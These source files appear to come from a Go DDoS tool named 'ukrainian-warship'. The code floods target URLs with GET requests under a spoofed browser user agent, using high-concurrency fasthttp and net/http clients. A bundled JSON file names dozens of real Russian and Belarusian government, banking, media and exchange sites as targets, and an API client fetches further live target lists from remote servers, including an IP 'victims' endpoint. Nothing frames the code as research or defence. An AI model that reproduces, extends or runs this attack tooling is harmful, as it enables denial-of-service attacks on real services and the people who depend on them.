<|start_filename|>pkg/ddos/nethttp.go<|end_filename|>
package ddos

import (
	"fmt"
	"io"
	"io/ioutil"
	"net/http"
	"time"
)

type NetHttp struct {
	client        *http.Client
	host          string
	url           string
	totalRequests total
	totalErrors   total
	bodProd       bodyStreamProducer
	debug         bool
}

func newNetHttp(url string, debug bool) *NetHttp {
	f := new(NetHttp)
	f.client = &http.Client{}
	f.client.Timeout = time.Millisecond * 500
	f.url = url
	f.debug = debug
	return f
}

func (c *NetHttp) Do() {
	req, _ := http.NewRequest("GET", c.url, nil)
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
	req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
	req.Header.Set("Accept-Encoding", "gzip,deflate")
	req.Header.Set("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7")
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		c.totalErrors.Inc()
		return
	}
	if resp.StatusCode < 400 {
		c.totalRequests.Inc()
	}
	if resp.StatusCode > 400 {

	}
	if c.debug {
		if err != nil {
			fmt.Println(err.Error())
		}
		fmt.Printf("Response status: %d, Target: %s\n", resp.StatusCode, c.url)
	}
	defer resp.Body.Close()
	io.Copy(ioutil.Discard, resp.Body)
}

func (c *NetHttp) GetUrl() string {
	return c.url
}

func (c *NetHttp) GetTotal() total {
	return c.totalRequests
}

func (c *NetHttp) GetError() total {
	return c.totalErrors
}


<|start_filename|>pkg/ddos/fast.go<|end_filename|>
package ddos

import (
	"fmt"
	"io"
	"sync/atomic"
	"time"

	"github.com/valyala/fasthttp"
)

type bodyStreamProducer func() (io.ReadCloser, error)

type total int64

func (c *total) Inc() int64 {
	return atomic.AddInt64((*int64)(c), 1)
}

func (c *total) Get() int64 {
	return atomic.LoadInt64((*int64)(c))
}

type Ddos interface {
	Do()
	GetUrl() string
	GetTotal() total
	GetError() total
}

type Fast struct {
	client        *fasthttp.Client
	host          string
	url           string
	totalRequests total
	totalErrors   total
	bodProd       bodyStreamProducer
	debug         bool
}

func New(url string, netHttp, debug bool) Ddos {
	if netHttp {
		return newNetHttp(url, debug)
	}
	return newFasthttp(url, debug)
}

func newFasthttp(url string, debug bool) *Fast {
	f := new(Fast)
	readTimeout, _ := time.ParseDuration("500ms")
	writeTimeout, _ := time.ParseDuration("500ms")
	maxIdleConnDuration, _ := time.ParseDuration("1h")
	c := &fasthttp.Client{
		ReadTimeout:                   readTimeout,
		WriteTimeout:                  writeTimeout,
		MaxIdleConnDuration:           maxIdleConnDuration,
		NoDefaultUserAgentHeader:      true, // Don't send: User-Agent: fasthttp
		DisableHeaderNamesNormalizing: true, // If you set the case on your headers correctly you can enable this
		DisablePathNormalizing:        true,
		// increase DNS cache time to an hour instead of default minute
		Dial: (&fasthttp.TCPDialer{
			Concurrency:      4096,
			DNSCacheDuration: time.Hour,
		}).Dial,
	}
	f.url = url
	f.client = c
	f.debug = debug
	return f
}

func (c *Fast) Do() {
	req := fasthttp.AcquireRequest()
	resp := fasthttp.AcquireResponse()
	defer fasthttp.ReleaseRequest(req)
	defer fasthttp.ReleaseResponse(resp)
	req.SetRequestURI(c.url)
	req.Header.SetMethod(fasthttp.MethodGet)
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
	req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
	req.Header.Set("Accept-Encoding", "gzip,deflate")
	req.Header.Set("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7")
	err := c.client.Do(req, resp)
	if resp.StatusCode() < 400 {
		c.totalRequests.Inc()
	}
	if err != nil || resp.StatusCode() > 400 {
		c.totalErrors.Inc()
	}
	if c.debug {
		if err != nil {
			fmt.Println(err.Error())
		}
		fmt.Printf("Response status: %d, Target: %s\n", resp.StatusCode(), c.url)
	}
}

func (c *Fast) GetUrl() string {
	return c.url
}

func (c *Fast) GetTotal() total {
	return c.totalRequests
}

func (c *Fast) GetError() total {
	return c.totalErrors
}


<|start_filename|>Dockerfile<|end_filename|>
#FROM golang:alpine as builder
FROM --platform=linux/x86-64 golang:alpine as builder
ENV GO111MODULE=on
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN go build -ldflags "-s -w" -o ukrainian-warship

FROM --platform=linux/x86-64 alpine:3.14
WORKDIR /app

COPY --from=builder /app/ukrainian-warship ./
COPY --from=builder /app/default_targets.json ./

# Command to run the executable
ENTRYPOINT ["/app/ukrainian-warship"]
# CMD ["/app/ukrainian-warship", "kill", "--workers=24"]

<|start_filename|>default_targets.json<|end_filename|>
{
  "online": [
    "https://rmk-group.ru/ru/",
    "https://nangs.org/",
    "https://www.polymetalinternational.com/ru/",
    "https://www.uralkali.com/ru/",
    "https://www.evraz.com/ru/",
    "https://lukoil.ru",
    "https://ya.ru/",
    "https://www.sibur.ru/",
    "https://www.metalloinvest.com/",
    "https://pikabu.ru/",
    "https://bezformata.com/",
    "https://yaplakal.com/",
    "https://rkn.gov.ru/",
    "https://stroi.gov.ru/",
    "https://www.gosuslugi.ru/",
    "https://www.024.by/",
    "https://shop-rt.com",
    "https://ria.ru/",
    "https://sputnik.by/",
    "https://www.tmk-group.ru/",
    "https://yandex.by/",
    "https://riafan.ru/",
    "https://www.nornickel.com/",
    "http://government.ru/"
  ],
  "offline": [
    "https://nlmk.com/",
    "https://www.eurosib.ru/",
    "https://www.gazprom.ru/",
    "https://www.gazprombank.ru/",
    "https://mil.ru/",
    "https://www.nalog.gov.ru/",
    "https://magnit.ru/",
    "https://www.surgutneftegas.ru/",
    "https://www.tatneft.ru/",
    "https://www.sberbank.ru",
    "https://www.vtb.ru/",
    "https://www.mos.ru/uslugi/",
    "https://customs.gov.ru/",
    "https://pfr.gov.ru/",
    "https://172.16.17.32/",
    "https://172.16.31.10/",
    "https://mail.rkn.gov.ru/",
    "https://cloud.rkn.gov.ru/",
    "https://pwd.wto.economy.gov.ru/",
    "https://proverki.gov.ru/",
    "https://mk.ru/",
    "http://belta.by/",
    "https://www.tvr.by/",
    "https://www.sb.by/",
    "https://belmarket.by/",
    "https://www.belarus.by/",
    "https://belarus24.by/",
    "https://ont.by/",
    "https://www.belnovosti.by/",
    "https://mogilevnews.by/",
    "https://www.mil.by/",
    "https://www.slonves.by/",
    "http://www.ctv.by/",
    "https://radiobelarus.by/",
    "https://radiusfm.by/",
    "https://alfaradio.by/",
    "https://radiomir.by/",
    "https://radiostalica.by/",
    "https://radiobrestfm.by/",
    "https://www.tvrmogilev.by/",
    "https://minsknews.by/",
    "https://zarya.by/",
    "https://grodnonews.by/",
    "https://rec.gov.by/ru/",
    "https://www.mil.by/",
    "https://www.government.by/",
    "https://www.prokuratura.gov.by/",
    "https://president.gov.by/ru/",
    "https://www.mvd.gov.by/ru/",
    "http://www.kgb.by/ru/",
    "https://belarusbank.by/",
    "https://www.nbrb.by/",
    "https://brrb.by/",
    "https://www.belapb.by/",
    "https://bankdabrabyt.by/",
    "https://belinvestbank.by/individual/",
    "https://bgp.by/ru/",
    "https://www.belneftekhim.by/",
    "http://www.bellegprom.by/",
    "https://www.energo.by/",
    "http://belres.by/ru/",
    "https://mininform.gov.by/",
    "https://www.moex.com/",
    "https://www.moex.com/",
    "https://www.bestchange.ru/tether-trc20-to-visa-mastercard-euro.html/",
    "http://www.fsb.ru/",
    "https://cleanbtc.ru/",
    "https://bonkypay.com/",
    "https://changer.club/",
    "https://superchange.net",
    "https://mine.exchange/",
    "https://platov.co",
    "https://ww-pay.net/",
    "https://delets.cash/",
    "https://betatransfer.org",
    "https://ramon.money/",
    "https://coinpaymaster.com/",
    "https://bitokk.biz/",
    "https://www.netex24.net",
    "https://cashbank.pro/",
    "https://flashobmen.com/",
    "https://abcobmen.com/",
    "https://ychanger.net/",
    "https://multichange.net/",
    "https://24paybank.ne",
    "https://royal.cash/",
    "https://prostocash.com/",
    "https://baksman.org/",
    "https://kupibit.me/",
    "https://abcobmen.com",
    "https://omk.ru/",
    "http://kremlin.ru/",
    "https://kommersant.ru/",
    "https://gazeta.ru/",
    "https://kp.ru/",
    "https://mvd.gov.ru/",
    "https://rbc.ru/",
    "https://www.severstal.com/",
    "https://api.sberbank.ru/prod/tokens/v2/oidc",
    "https://api.sberbank.ru/prod/tokens/v2/oauth"
  ]
}


<|start_filename|>pkg/api_client/client.go<|end_filename|>
package api_client

import (
	"encoding/json"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
)

func GetTargetsItArmyPpUa() (*TargetsItArmy, error) {
	req, err := http.NewRequest("GET", "https://itarmy.pp.ua/api/?type=all", nil)
	if err != nil {
		return nil, err
	}
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		t, fErr := targetsFromFile()
		if fErr != nil {
			return nil, err
		}
		fmt.Println("Could not get targets from api, using default targets from file...")
		return t, nil
	}
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return nil, err
	}
	targets := &TargetsItArmy{}
	err = json.Unmarshal(body, targets)
	if err != nil {
		return nil, err
	}
	return targets, nil
}

func GetTargets() (*TargetsItArmy, error) {
	req, err := http.NewRequest("GET", "http://172.16.31.10:9300/victims", nil)
	if err != nil {
		return nil, err
	}
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		t, fErr := targetsFromFile()
		if fErr != nil {
			return nil, err
		}
		fmt.Println("Could not get targets from api, using default targets from file...")
		return t, nil
	}
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return nil, err
	}
	targets := &Targets{}
	err = json.Unmarshal(body, targets)
	if err != nil {
		return nil, err
	}
	return sortTargets(targets), nil
}

func sortTargets(t *Targets) *TargetsItArmy {
	// TODO sort on more criteria
	onlineTargets := []*Statuses{}
	targets := []string{}
	for i := 0; i < len(t.Statuses); i++ {
		if strings.Contains(t.Statuses[i].Status, "UP") {
			onlineTargets = append(onlineTargets, &t.Statuses[i])
		}
	}
	if len(onlineTargets) >= 8 {
		for i := 0; i < 8; i++ {
			if onlineTargets[i].URL != "" {
				targets = append(targets, onlineTargets[i].URL)
			}
		}
	} else {
		for i := 0; i < len(onlineTargets); i++ {
			if onlineTargets[i].URL != "" {
				targets = append(targets, onlineTargets[i].URL)
			}
		}
	}
	return &TargetsItArmy{
		Online:  targets,
		Offline: nil,
	}
}

func targetsFromFile() (*TargetsItArmy, error) {
	f, err := os.Open("default_targets.json")
	if err != nil {
		return nil, err
	}
	defer f.Close()
	byteValue, _ := ioutil.ReadAll(f)
	t := TargetsItArmy{}
	err = json.Unmarshal(byteValue, &t)
	if err != nil {
		return nil, err
	}
	return &t, nil
}
